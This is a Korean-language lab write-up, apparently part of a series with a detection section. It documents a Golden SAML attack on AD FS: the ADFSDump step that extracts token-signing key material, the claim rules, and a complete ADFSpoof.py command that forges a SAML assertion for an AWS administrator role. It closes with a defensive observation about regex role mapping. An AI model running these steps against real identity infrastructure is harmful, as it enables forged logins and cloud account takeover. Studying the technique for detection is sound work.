Part 2. AD FS

PreviousPart 1. Victim Client Next로깅·탐지

Last updated 1 month ago

Part 2. AD FS

1. 정보 수집 → BR3, BR4 발견

2. ADFSdump.exe

빌드하기 (Visual Studio 2019, C#) → Attacker PC에서 수행
빌드된 ADFSDump.exe 를 AD FS로 이동

SAML 위조(서명)이 가능한지 확인

= tks.bin, dkm.bin 획득 가능한지 확인

tks.bin, dkm.bin

[-] Private Key: {dkm.bin}

[-] Encrypted Token Signing Key Start
	{tks.bin}
[-] Encrypted Token Signing Key End

SAML 위조에 필요한 정보 획득

-s

## Reading The Issuer Identifier
[-] Issuer Identifier: <http://sts.pbl-waffle.swu/adfs/services/trust>
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...

--endpoint, 인증프로토콜

## Reading Relying Party Trust Information from Database
[-]
Test AWS Console
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: <https://ap-southeast-5.signin.aws.amazon.com/saml>
    Signature Algorithm: <http://www.w3.org/2001/04/xmldsig-more#rsa-sha256>
    SamlResponseSignatureType: 1;
    Identifier: urn:amazon:webservices
    Access Policy: ...

--nameidformat

@RuleName = "NamdId"
c:[Type == "<http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname>"]
 => 
 issue(Type = "<http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier>", 
 Issuer = c.Issuer, 
 OriginalIssuer = c.OriginalIssuer, 
 Value = c.Value, 
 ValueType = c.ValueType, 
 Properties["<http://schemas.xmlsoap.org/ws/2005/05/identity/claimproperties/format>"] = "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent");

@RuleName = "Get AD Groups"
c:[Type == "<http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname>", Issuer == "AD AUTHORITY"]
 => add(store = "Active Directory", types = ("<http://temp/variable>"), query = ";tokenGroups;{0}", param = c.Value);

--rpidentifier
- ADFSdump로는 알 수 없으나, AWS 사용한다는 것을 토대로 구글링하여 획득 가능
```
urn:amazon:webservices
```

Assertion - RoleSessionName

@RuleTemplate = "LdapClaims"
@RuleName = "RoleSessionName"
c:[Type == "<http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname>", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("<https://aws.amazon.com/SAML/Attributes/RoleSessionName>"), **query = ";mail;{0}"**, param = c.Value);

Assertion - Role

**@RuleName = "Roles"**
c:[Type == "<http://temp/variable>", Value =~ "(?i)^AWS-"]
 => issue(Type = "<https://aws.amazon.com/SAML/Attributes/Role>", Value = "arn:aws:iam::985539769344:saml-provider/ADFS,arn:aws:iam::985539769344:role/ADFS-Dev");

3. ADFSpoof.py

python3 ADFSpoof.py -b tks3.bin dkm3.bin -s 'sts.pbl-waffle.swu' saml2 --endpoint '<https://signin.aws.amazon.com/saml>' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' --nameid 'AD-WAFFLE\\aws.admin' --rpidentifier 'urn:amazon:webservices' --assertions '<Attribute Name="<https://aws.amazon.com/SAML/Attributes/RoleSessionName>"><AttributeValue>aws.admin@pbl-waffle.swu</AttributeValue></Attribute><Attribute Name="<https://aws.amazon.com/SAML/Attributes/Role>"><AttributeValue>arn:aws:iam::985539769344:saml-provider/ADFS,arn:aws:iam::985539769344:role/ADFS-Dev</AttributeValue></Attribute>'

--assertions 파라미터 value를 찾는 과정

정상 인증을 시도한 SAML과 ADFSpoof.py의 결과물로 나오는 SAML을 diff하여 다른 영역은 ADFSpoof에서 자동으로 생성해주나, <AttributeStatement> 아래 <Attribute> 영역만 수동으로 입력해주면 된다는 것을 확인할 수 있다.

다른 파라미터도 이런 식으로 비교하며 찾을 수 있다.

--assertions 파라미터 role 작성 시 유의사항

처음 구성할 때 Role은 정규식(RegExReplace)으로 매핑되도록 하였으나, 이 경우 ADFSdump로 얻어지는 정보에서 완전한 Role Name을 얻을 수 없어 시나리오 상 정적 값으로 설정된 것으로 변경했다.

정규식 그대로 arn:aws:iam::985539769344:role/ADFS- 의 형태로 입력할 시 제대로 로그인 불가

@RuleName = "Roles"
c:[Type == "<http://temp/variable>", Value =~ "(?i)^AWS-"]
 => issue(Type = "<https://aws.amazon.com/SAML/Attributes/Role>", Value = RegExReplace(c.Value, "AWS-", "arn:aws:iam::985539769344:saml-provider/ADFS,arn:aws:iam::985539769344:role/ADFS-"));

[가설] 이런 식으로 Role이 정규식으로 되어있는 경우 공격자는 완전한 Role Name을 다른 정보 수집 시 얻지 못하면 Golden SAML 공격은 힘들다.

→ 이게 참이라면, 의외의 영역에서 공격이 막힐 수도 있다는 점이 시사점이다.